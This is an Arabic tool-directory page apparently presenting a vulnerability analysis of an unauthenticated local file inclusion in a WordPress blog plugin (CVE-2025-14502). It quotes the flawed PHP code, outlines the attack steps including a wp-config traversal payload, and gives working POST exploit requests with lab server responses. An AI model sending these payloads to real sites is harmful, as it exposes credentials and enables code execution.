Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502 — في إصدارات المكوّن الإضافي News and Blog Designer Bundle الخاصة بـ WordPress، جميع الإصدارات حتى 1.1 وما قبلها، توجد ثغرة تضمين ملفات محلية عبر معامل template. تتيح هذه الثغرة للمهاجم غير المصادق عليه تضمين وتنفيذ أي ملف .php على الخادم، وبالتالي تشغيل أي كود PHP موجود في هذه الملفات. في السيناريوهات التي يُسمح فيها برفع وتضمين ملفات من نوع .php، يمكن للمهاجم استغلال هذه الثغرة لتجاوز ضوابط الوصول، أو الوصول إلى بيانات حساسة، أو تحقيق تنفيذ كود. | Kitploit
أدوات/GitHubGitHub/kai-one001/wordpress-news-and-blog-designer-bundle-cve-2025-14502
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubkai-one001/wordpress-news-and-blog-designer-bundle-cve-2025-14502

WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502

عرض المستودع
2منذ 8 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

حول

في إصدارات المكوّن الإضافي News and Blog Designer Bundle الخاصة بـ WordPress، جميع الإصدارات حتى 1.1 وما قبلها، توجد ثغرة تضمين ملفات محلية عبر معامل template. تتيح هذه الثغرة للمهاجم غير المصادق عليه تضمين وتنفيذ أي ملف .php على الخادم، وبالتالي تشغيل أي كود PHP موجود في هذه الملفات. في السيناريوهات التي يُسمح فيها برفع وتضمين ملفات من نوع .php، يمكن للمهاجم استغلال هذه الثغرة لتجاوز ضوابط الوصول، أو الوصول إلى بيانات حساسة، أو تحقيق تنفيذ كود.

مشاركة

تقرير تحليل الثغرة CVE-2025-14502

نظرة عامة على الثغرة

نوع الثغرة: تضمين الملفات المحلي (Local File Inclusion, LFI)
الإصدارات المتأثرة: News and Blog Designer Bundle 1.1 وجميع الإصدارات السابقة له
درجة الخطورة: عالية
تعقيد الهجوم: منخفض (بدون مصادقة)

تحليل مبدأ الثغرة

1. موقع الثغرة

توجد الثغرة الرئيسية في طريقة nbdb_fetch_more_post() الموجودة في الملف includes/class-nbdb-ajax.php.

2. تفاصيل مراجعة الكود

2.1 موقع الكود المعيب

sanitize_text_field(extract( $_POST['shrt_param'] ));

$template_file_path 	= NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template_file 		= (file_exists($template_file_path)) 	? $template_file_path 	: '';

2.2 تحليل سبب الثغرة

المشكلة 1: الاستخدام غير السليم لدالة extract()

يوجد في السطر 31 مشكلة خطيرة:

sanitize_text_field(extract( $_POST['shrt_param'] ));
  • تقوم دالة extract() باستخراج مفاتيح المصفوفة كأسماء متغيرات وقيمها كقيم متغيرات مباشرةً إلى النطاق الحالي.
  • القيمة المُرجَعة من extract() هي عدد المتغيرات المستخرجة بنجاح (عدد صحيح)، وليست المصفوفة نفسها.
  • تتوقع دالة sanitize_text_field() استقبال وسيط نصي (string)، لكن العدد الصحيح يُمرَّر إليها هنا.
  • لذلك لا يوفر هذا السطر أي حماية أمنية في الواقع.

المشكلة 2: عدم التحقق من الوسائط

يستخدم السطر 33 المتغير $template مباشرةً لبناء مسار الملف:

$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
  • المتغير $template يأتي من extract($_POST['shrt_param'])، وهو متحكَّم فيه بالكامل بواسطة إدخال المستخدم.
  • لا يوجد أي تحقق من القائمة البيضاء (whitelist).
  • لا يوجد أي معالجة لتطبيع المسار.
  • يسمح بهجمات اجتياز الدلائل (Directory Traversal).

المشكلة 3: يتحقق فقط من وجود الملف

يتحقق السطر 34 فقط من وجود الملف:

$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
  • تتحقق file_exists() فقط من وجود الملف، ولا تتحقق من سلامة المسار.
  • إذا تمكن المهاجم من التحكم في الوسيط $template، فيمكنه تنفيذ اجتياز الدلائل باستخدام ../.
  • وفي النهاية، يتم تنفيذ include($template_file) في السطر 93، مما يؤدي إلى تضمين ملفات تعسفية.

2.3 المقارنة: التنفيذ الآمن لدوال معالجة الشورت كود

في shortcodes/class-nbdb-shortcode.php، تستخدم جميع دوال معالجة الشورت كود التحقق عبر القائمة البيضاء:

$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
  • يتم استخدام دالة nbdb_post_template() للحصول على قائمة القوالب المسموح بها (فقط template-1 و template-2).
  • يتم استخدام array_key_exists() للتحقق من القائمة البيضاء.
  • إذا لم يكن القالب في القائمة البيضاء، يتم استخدام القيمة الافتراضية template-1.

يثبت هذا أن المطوّر يعرف كيفية التحقق من الوسائط بشكل صحيح، لكنه أغفل التحقق في دالة معالجة AJAX.

3. ناقل الهجوم

3.1 وصول بدون مصادقة

add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
  • تم تسجيل كلا الخطافين wp_ajax_ و wp_ajax_nopriv_ معًا.
  • يسمح الخطاف wp_ajax_nopriv_ للمستخدمين غير المسجلين بالوصول.
  • يمكن للمهاجم استغلال هذه الثغرة دون الحاجة إلى أي مصادقة.

3.2 خطوات الهجوم

  1. يُنشئ المهاجم طلب POST خبيثًا إلى /wp-admin/admin-ajax.php
  2. يضبط action=nbdb_fetch_more_post
  3. يحقن حمولة اجتياز الدلائل في shrt_param[template] (مثل ../../../../wp-config)
  4. ينفذ الخادم extract($_POST['shrt_param'])، مما يستخرج template كمتغير
  5. يُبنى المسار: NBDB_DIR . '/view/nbdb-masonry/' . '../../../../wp-config' . '.php'
  6. إذا كان الملف الهدف موجودًا، تُرجع file_exists() قيمة true
  7. يُنفَّذ include($template_file)، مما يتضمن وينفذ ملف PHP الهدف

4. تأثير الثغرة

4.1 الأضرار المباشرة

  • تنفيذ الكود: إذا أمكن تضمين ملف PHP قابل للتنفيذ، فقد يؤدي ذلك إلى تنفيذ كود عن بُعد (RCE)
  • تسريب المعلومات الحساسة: يمكن قراءة محتوى ملفات PHP على الخادم (مثل wp-config.php)
  • تصعيد الامتيازات: قد يتجاوز ضوابط الوصول في بعض الإعدادات

4.2 شروط الاستغلال

  • يجب أن يكون الملف الهدف موجودًا وقابلًا للقراءة.
  • يجب أن يكون امتداد الملف الهدف .php (تم ترميز اللاحقة .php بشكل ثابت في الكود).
  • يجب أن يسمح الخادم بتنفيذ include() للملفات المُضمَّنة، أما شرط "إمكانية القراءة" فهو: أن يكون لملف PHP المُضمَّن مخرجات مرئية (echo/print/أخطاء/استجابات بروتوكول)، وإلا فلن تتمكن من رؤية المحتوى.

خطوات التحقق من الثغرة

1. إنشاء طلب الاختبار

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../xmlrpc&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large

1.1. تحليل الاستجابة

HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>-32700</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>parse error. not well formed</string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>

2. إنشاء طلب الاختبار

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large

2.1. تحليل الاستجابة

HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8
تنزيل الأداة